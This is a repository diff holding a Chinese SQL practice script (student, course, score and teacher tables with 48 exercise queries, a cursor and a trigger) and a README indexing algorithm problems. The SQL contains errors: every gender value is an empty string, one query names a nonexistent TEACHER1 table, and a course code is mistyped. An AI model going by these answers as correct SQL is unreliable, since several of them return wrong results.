SNO VARCHAR(3) NOT NULL,
SNAME VARCHAR(4) NOT NULL,
SSEX VARCHAR(2) NOT NULL,
SBIRTHDAY DATETIME,
CLASS VARCHAR(5)
);
CREATE TABLE COURSE
(
CNO VARCHAR(5) NOT NULL,
CNAME VARCHAR(10) NOT NULL,
TNO VARCHAR(10) NOT NULL
);
CREATE TABLE SCORE
(
SNO VARCHAR(3) NOT NULL,
CNO VARCHAR(5) NOT NULL,
DEGREE NUMERIC(10, 1) NOT NULL
);
CREATE TABLE TEACHER
(
TNO VARCHAR(3) NOT NULL,
TNAME VARCHAR(4) NOT NULL,
TSEX VARCHAR(2) NOT NULL,
TBIRTHDAY DATETIME NOT NULL,
PROF VARCHAR(6),
DEPART VARCHAR(10) NOT NULL
);
INSERT INTO STUDENT (SNO, SNAME, SSEX, SBIRTHDAY, CLASS) VALUES (108, '曾华'
, '', '1977-09-01', 95033);
INSERT INTO STUDENT (SNO, SNAME, SSEX, SBIRTHDAY, CLASS) VALUES (105, '匡明'
, '', '1975-10-02', 95031);
INSERT INTO STUDENT (SNO, SNAME, SSEX, SBIRTHDAY, CLASS) VALUES (107, '王丽'
, '', '1976-01-23', 95033);
INSERT INTO STUDENT (SNO, SNAME, SSEX, SBIRTHDAY, CLASS) VALUES (101, '李军'
, '', '1976-02-20', 95033);
INSERT INTO STUDENT (SNO, SNAME, SSEX, SBIRTHDAY, CLASS) VALUES (109, '王芳'
, '', '1975-02-10', 95031);
INSERT INTO STUDENT (SNO, SNAME, SSEX, SBIRTHDAY, CLASS) VALUES (103, '陆君'
, '', '1974-06-03', 95031);
INSERT INTO COURSE (CNO, CNAME, TNO) VALUES ('3-105', '计算机导论', 825);
INSERT INTO COURSE (CNO, CNAME, TNO) VALUES ('3-245', '操作系统', 804);
INSERT INTO COURSE (CNO, CNAME, TNO) VALUES ('6-166', '数据电路', 856);
INSERT INTO COURSE (CNO, CNAME, TNO) VALUES ('9-888', '高等数学', 100);
INSERT INTO SCORE (SNO, CNO, DEGREE) VALUES (103, '3-245', 86);
INSERT INTO SCORE (SNO, CNO, DEGREE) VALUES (105, '3-245', 75);
INSERT INTO SCORE (SNO, CNO, DEGREE) VALUES (109, '3-245', 68);
INSERT INTO SCORE (SNO, CNO, DEGREE) VALUES (103, '3-105', 92);
INSERT INTO SCORE (SNO, CNO, DEGREE) VALUES (105, '3-105', 88);
INSERT INTO SCORE (SNO, CNO, DEGREE) VALUES (109, '3-105', 76);
INSERT INTO SCORE (SNO, CNO, DEGREE) VALUES (101, '3-105', 64);
INSERT INTO SCORE (SNO, CNO, DEGREE) VALUES (107, '3-105', 91);
INSERT INTO SCORE (SNO, CNO, DEGREE) VALUES (101, '6-166', 85);
INSERT INTO SCORE (SNO, CNO, DEGREE) VALUES (107, '6-106', 79);
INSERT INTO SCORE (SNO, CNO, DEGREE) VALUES (108, '3-105', 78);
INSERT INTO SCORE (SNO, CNO, DEGREE) VALUES (108, '6-166', 81);
INSERT INTO TEACHER (TNO, TNAME, TSEX, TBIRTHDAY, PROF, DEPART)
VALUES (804, '李诚', '', '1958-12-02', '副教授', '计算机系');
INSERT INTO TEACHER (TNO, TNAME, TSEX, TBIRTHDAY, PROF, DEPART)
VALUES (856, '张旭', '', '1969-03-12', '讲师', '电子工程系');
INSERT INTO TEACHER (TNO, TNAME, TSEX, TBIRTHDAY, PROF, DEPART)
VALUES (825, '王萍', '', '1972-05-05', '助教', '计算机系');
INSERT INTO TEACHER (TNO, TNAME, TSEX, TBIRTHDAY, PROF, DEPART)
VALUES (831, '刘冰', '', '1977-08-14', '助教', '电子工程系');
-- 1、 查询Student表中的所有记录的Sname、Ssex和Class列。
select
SNAME,
SSEX,
CLASS
from STUDENT;
-- 2、 查询教师所有的单位即不重复的Depart列。
select distinct DEPART
from TEACHER1;
-- 3、 查询Student表的所有记录。
select *
from STUDENT;
-- 4、 查询Score表中成绩在60到80之间的所有记录。
select *
from SCORE
where DEGREE > 60 and DEGREE < 80;
-- 5、 查询Score表中成绩为8586或88的记录。
select *
from SCORE
where DEGREE = 85 or DEGREE = 86 or DEGREE = 88;
-- 6、 查询Student表中“95031”班或性别为“女”的同学记录。
select *
from STUDENT
where CLASS = '95031' or SSEX = '';
-- 7、 以Class降序查询Student表的所有记录。
select *
from STUDENT
order by CLASS desc;
-- 8、 以Cno升序、Degree降序查询Score表的所有记录。
select *
from SCORE
order by CNO asc, DEGREE desc;
-- 9、 查询“95031”班的学生人数。
select count(*)
from STUDENT
where CLASS = '95031';
-- 10、查询Score表中的最高分的学生学号和课程号。
select
sno,
CNO
from SCORE
where DEGREE = (
select max(DEGREE)
from SCORE
);
-- 11、查询3-105号课程的平均分。
select avg(DEGREE)
from SCORE
where CNO = '3-105';
-- 12、查询Score表中至少有5名学生选修的并以3开头的课程的平均分数。
select
avg(DEGREE),
CNO
from SCORE
where cno like '3%'
group by CNO
having count(*) > 5;
-- 13、查询最低分大于70最高分小于90的Sno列。
select SNO
from SCORE
group by SNO
having min(DEGREE) > 70 and max(DEGREE) < 90;
-- 14、查询所有学生的Sname、Cno和Degree列。
select
SNAME,
CNO,
DEGREE
from STUDENT, SCORE
where STUDENT.SNO = SCORE.SNO;
-- 15、查询所有学生的Sno、Cname和Degree列。
select
SCORE.SNO,
CNO,
DEGREE
from STUDENT, SCORE
where STUDENT.SNO = SCORE.SNO;
-- 16、查询所有学生的Sname、Cname和Degree列。
SELECT
A.SNAME,
B.CNAME,
C.DEGREE
FROM STUDENT A
JOIN (COURSE B, SCORE C)
ON A.SNO = C.SNO AND B.CNO = C.CNO;
-- 17、查询“95033”班所选课程的平均分。
select avg(DEGREE)
from SCORE
where sno in (select SNO
from STUDENT
where CLASS = '95033');
-- 18、假设使用如下命令建立了一个grade表
create table grade (
low numeric(3, 0),
upp numeric(3),
rank char(1)
);
insert into grade values (90, 100, 'A');
insert into grade values (80, 89, 'B');
insert into grade values (70, 79, 'C');
insert into grade values (60, 69, 'D');
insert into grade values (0, 59, 'E');
-- 现查询所有同学的Sno、Cno和rank列。
SELECT
A.SNO,
A.CNO,
B.RANK
FROM SCORE A, grade B
WHERE A.DEGREE BETWEEN B.LOW AND B.UPP
ORDER BY RANK;
-- 19、查询选修“3-105”课程的成绩高于“109”号同学成绩的所有同学的记录。
select *
from SCORE
where CNO = '3-105' and DEGREE > ALL (
select DEGREE
from SCORE
where SNO = '109'
);
set @@global.sql_mode = 'STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION';
set sql_mode = 'STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION';
-- 20、查询score中选学一门以上课程的同学中分数为非最高分成绩的记录
select *
from SCORE
where DEGREE < (select MAX(DEGREE)
from SCORE)
group by SNO
having count(*) > 1;
-- 21、查询成绩高于学号为“109”、课程号为“3-105”的成绩的所有记录。
-- 同19
-- 22、查询和学号为108的同学同年出生的所有学生的Sno、Sname和Sbirthday列。
select
SNO,
SNAME,
SBIRTHDAY
from STUDENT
where year(SBIRTHDAY) = (
select year(SBIRTHDAY)
from STUDENT
where SNO = '108'
);
-- 23、查询“张旭“教师任课的学生成绩。
select *
from SCORE
where cno = (
select CNO
from COURSE
inner join TEACHER on COURSE.TNO = TEACHER.TNO and TNAME = '张旭'
);
-- 24、查询选修某课程的同学人数多于5人的教师姓名。
select TNAME
from TEACHER
where TNO = (
select TNO
from COURSE
where CNO = (select CNO
from SCORE
group by CNO
having count(SNO) > 5)
);
-- 25、查询95033班和95031班全体学生的记录。
select *
from STUDENT
where CLASS in ('95033', '95031');
-- 26、查询存在有85分以上成绩的课程Cno.
select cno
from SCORE
group by CNO
having MAX(DEGREE) > 85;
-- 27、查询出“计算机系“教师所教课程的成绩表。
select *
from SCORE
where CNO in (select CNO
from TEACHER, COURSE
where DEPART = '计算机系' and COURSE.TNO = TEACHER.TNO);
-- 28、查询“计算机系”与“电子工程系“不同职称的教师的Tname和Prof
select
tname,
prof
from TEACHER
where depart = '计算机系' and prof not in (
select prof
from TEACHER
where depart = '电子工程系'
);
-- 29、查询选修编号为“3-105“课程且成绩至少高于选修编号为“3-245”的同学的Cno、Sno和Degree,并按Degree从高到低次序排序。
select
CNO,
SNO,
DEGREE
from SCORE
where CNO = '3-105' and DEGREE > any (
select DEGREE
from SCORE
where CNO = '3-245'
)
order by DEGREE desc;
-- 30、查询选修编号为“3-105”且成绩高于选修编号为“3-245”课程的同学的Cno、Sno和Degree.
SELECT *
FROM SCORE
WHERE DEGREE > ALL (
SELECT DEGREE
FROM SCORE
WHERE CNO = '3-245'
)
ORDER by DEGREE desc;
-- 31、查询所有教师和同学的name、sex和birthday.
select
TNAME name,
TSEX sex,
TBIRTHDAY birthday
from TEACHER
union
select
sname name,
SSEX sex,
SBIRTHDAY birthday
from STUDENT;
-- 32、查询所有“女”教师和“女”同学的name、sex和birthday.
select
TNAME name,
TSEX sex,
TBIRTHDAY birthday
from TEACHER
where TSEX = ''
union
select
sname name,
SSEX sex,
SBIRTHDAY birthday
from STUDENT
where SSEX = '';
-- 33、查询成绩比该课程平均成绩低的同学的成绩表。
SELECT A.*
FROM SCORE A
WHERE DEGREE < (SELECT AVG(DEGREE)
FROM SCORE B
WHERE A.CNO = B.CNO);
-- 34、查询所有任课教师的Tname和Depart.
select
TNAME,
DEPART
from TEACHER a
where exists(select *
from COURSE b
where a.TNO = b.TNO);
-- 35、查询所有未讲课的教师的Tname和Depart.
select
TNAME,
DEPART
from TEACHER a
where tno not in (select tno
from COURSE);
-- 36、查询至少有2名男生的班号。
select CLASS
from STUDENT
where SSEX = ''
group by CLASS
having count(SSEX) > 1;
-- 37、查询Student表中不姓“王”的同学记录。
select *
from STUDENT
where SNAME not like "王%";
-- 38、查询Student表中每个学生的姓名和年龄。
select
SNAME,
year(now()) - year(SBIRTHDAY)
from STUDENT;
-- 39、查询Student表中最大和最小的Sbirthday日期值。
select min(SBIRTHDAY) birthday
from STUDENT
union
select max(SBIRTHDAY) birthday
from STUDENT;
-- 40、以班号和年龄从大到小的顺序查询Student表中的全部记录。
select *
from STUDENT
order by CLASS desc, year(now()) - year(SBIRTHDAY) desc;
-- 41、查询“男”教师及其所上的课程。
select *
from TEACHER, COURSE
where TSEX = '' and COURSE.TNO = TEACHER.TNO;
-- 42、查询最高分同学的Sno、Cno和Degree列。
select
sno,
CNO,
DEGREE
from SCORE
where DEGREE = (select max(DEGREE)
from SCORE);
-- 43、查询和“李军”同性别的所有同学的Sname.
select sname
from STUDENT
where SSEX = (select SSEX
from STUDENT
where SNAME = '李军');
-- 44、查询和“李军”同性别并同班的同学Sname.
select sname
from STUDENT
where (SSEX, CLASS) = (select
SSEX,
CLASS
from STUDENT
where SNAME = '李军');
-- 45、查询所有选修“计算机导论”课程的“男”同学的成绩表
select *
from SCORE, STUDENT
where SCORE.SNO = STUDENT.SNO and SSEX = '' and CNO = (
select CNO
from COURSE
where CNAME = '计算机导论');
-- 46、使用游标方式来同时查询每位同学的名字他所选课程及成绩。
declare
cursor student_cursor is
select S.SNO,S.SNAME,C.CNAME,SC.DEGREE as DEGREE
from STUDENT S, COURSE C, SCORE SC
where S.SNO=SC.SNO
and SC.CNO=C.CNO;
student_row student_cursor%ROWTYPE;
begin
open student_cursor;
loop
fetch student_cursor INTO student_row;
exit when student_cursor%NOTFOUND;
dbms_output.put_line( student_row.SNO || '' ||
student_row.SNAME|| '' || student_row.CNAME || '' ||
student_row.DEGREE);
end loop;
close student_cursor;
END;
/
-- 47、 声明触发器指令,每当有同学转换班级时执行触发器显示当前和之前所在班级。
CREATE OR REPLACE TRIGGER display_class_changes
AFTER DELETE OR INSERT OR UPDATE ON student
FOR EACH ROW
WHEN (NEW.sno > 0)
BEGIN
dbms_output.put_line('Old class: ' || :OLD.class);
dbms_output.put_line('New class: ' || :NEW.class);
END;
/
Update student
set class=95031
where sno=109;
-- 48、 删除已设置的触发器指令
DROP TRIGGER display_class_changes;

View File

@ -0,0 +1,151 @@
# Algorithm
leetcode/lintcode上的算法题
**关于问题的答案和解体的思路,可以移步 : https://github.com/zhaozhengcoder/Algorithm**
### About
这个仓库最初的想法是把lintcode/lintocde上面的算法题目整理一下因为很多题目太多了显得太乱了就不继续在GitHub上面写了以前写的一部分移到我的博客上面了。
GitHub上面打算整理一些比较典型 或者是 自己思考过的觉得很好的问题。
在博客上面开了两个专栏
1. 数据结构/算法导论 :
https://www.jianshu.com/nb/12397278
2. OJ练习题 :
https://www.jianshu.com/nb/9973135
推荐两篇自己对 递归搜索和动态规划 的理解的blog
1. https://www.jianshu.com/p/5eb4da919efe
2. https://www.jianshu.com/p/6b3a2304f63f
### 题目的索引
GITHUB上面打算整理一些比较典型 或者是 自己思考过的觉得很好的问题。
1.从数据结构的角度索引 :
a. 数组
两数之和
连续最大子数组
乘积最大子数组
买卖股票的最佳时机123
买卖股票的最佳时机1寻找数组里面的最大上升子序列
买卖股票的最佳时机2寻找数组里面所有的上升子序列
买卖股票的最佳时机3寻找数组里面两个不重合的上升子序列并且使他们的和最大 to-do
区间合并(将有交集的区间合并)
寻找缺失的数
1. 一个顺序的数组[1,2,3,5,6],缺少了一个数字,如何找到它?
2. 一个arr的数组只有一个数字出现了一次其他都出现了两次如何找到它
数组的近似划分(将一个数组分成两个,但是差最小)
数组里面第k大的数
跳跃游戏12
跳跃游戏1
给出一个非负整数数组,你最初定位在数组的第一个位置,
数组中的每个元素代表你在那个位置可以跳跃的最大长度,
返回 是否能到达数组的最后一个位置
跳跃游戏2
给出一个非负整数数组,你最初定位在数组的第一个位置,
数组中的每个元素代表你在那个位置可以跳跃的最大长度,   
返回 使用最少的跳跃次数到达数组的最后一个位置
a+. 二维矩阵
顺时针打印二维矩阵
给出一个二维矩阵,找到一个路径(从某个左上角到某个角右下)使这条路径的值最大
b. 链表
c. 字符串
最长公共子序列(并不是连续的)
最长回文子串
d. 二叉树
返回一个平衡二叉树的第k大的节点
二叉树的最低公共祖先
非递归遍历二叉树
e. 图
最短路径
深度/广度优先遍历
2. 从算法的角度建立索引
a. 递归搜索问题
N后问题
全排列
组合问题12
b. 动态规划
背包问题12
数组的近似划分(将一个数组分成两个,但是差最小)
跳跃游戏12
给出一个二维矩阵,找到一个路径(从某个左上角到某个角右下)使这条路径的值最大
3. 常用
a. 排列/组合
b. 深度优先遍历
c. 最短路径
4. 智力题(算法本身很简单,就是想不到的那种)
最多有多少个点在同一条直线上
### Others
1. 类似于系统设计的题目
带最小值的栈/队列
url长链接转短链接
2. 解决特定问题
并查集
布隆过滤器
如果你对机器学习的算法感兴趣,欢迎共同讨论:
https://github.com/zhaozhengcoder/Machine-Learning

View File

Before

Width:  |  Height:  |  Size: 5.3 MiB

After

Width:  |  Height:  |  Size: 5.3 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 21 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 58 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 126 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

Some files were not shown because too many files have changed in this diff Show More